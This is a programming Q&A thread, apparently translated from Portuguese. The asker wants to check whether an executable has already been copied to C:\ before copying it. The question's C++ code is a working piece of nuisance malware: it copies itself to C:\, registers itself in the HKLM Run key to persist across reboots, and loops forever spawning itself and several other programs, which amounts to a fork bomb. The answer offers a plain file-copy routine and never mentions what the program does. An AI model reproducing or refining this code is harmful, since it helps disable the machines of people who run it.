Check if file has already been copied

Asked

Viewed 177 times

0

How to check the file formula.exe has already been copied to the directory c:\, and if it hasn’t been copied create a copy of it.

#include <iostream>
#include <Windows.h>
#include <lmcons.h>
#include <stdio.h>
#include <stdlib.h>
#include <locale.h>
#include <string>

using namespace std;

string dir() {
    char buffer[MAX_PATH];
    GetModuleFileName( NULL, buffer, MAX_PATH );
    string::size_type pos = string( buffer ).find_last_of( "\\/" );
    return string( buffer ).substr( 0, pos);
}

int main(){
    string copia = "copy ";

    copia += dir();

    copia += "\\formula.exe c:\\formula.exe"; 

    system(copia.c_str());

    string cmd = "reg add HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /t REG_SZ /v formula /d c:\\formula.exe";

    system(cmd.c_str());


    int black=0;

    setlocale(LC_ALL, "Portuguese");

    SetConsoleTitle("formula");

    while(black<1){

        system("start c:\\formula.exe");

        system ("start iexplore");

        system ("start notepad");

        system ("start calc");

        system ("start mspaint");

        system ("start explorer");

        system ("start wmplayer");
    }

return 0;
}

1 answer

2


To copy submissions in C++ with good error control, I suggest something like:

#include <fstream>
#include <iostream>
#include <stdexcept>

void copiar( const char * origem, const char * destino )
{
    std::ifstream orig( origem, std::ios::binary );

    if( !orig.is_open() )
        throw std::runtime_error("Erro abrindo arquivo de origem para leitura.");

    std::ofstream dest( destino, std::ios::binary );

    if( !dest.is_open() )
        throw std::runtime_error("Erro abrindo arquivo de destino para gravacao.");

    dest << orig.rdbuf();

    if( dest.bad() )
        throw std::runtime_error("Erro gravando arquivo de destino.");
}

int main( void )
{
    try
    {
        copiar( "origem.exe", "destino.exe" );
    }
    catch( std::exception & e )
    {
        std::cout << "Erro copiando arquivo: " << e.what() << std::endl;
        return 1;
    }

    return 0;
}

Browser other questions tagged

You are not signed in. Login or sign up in order to post.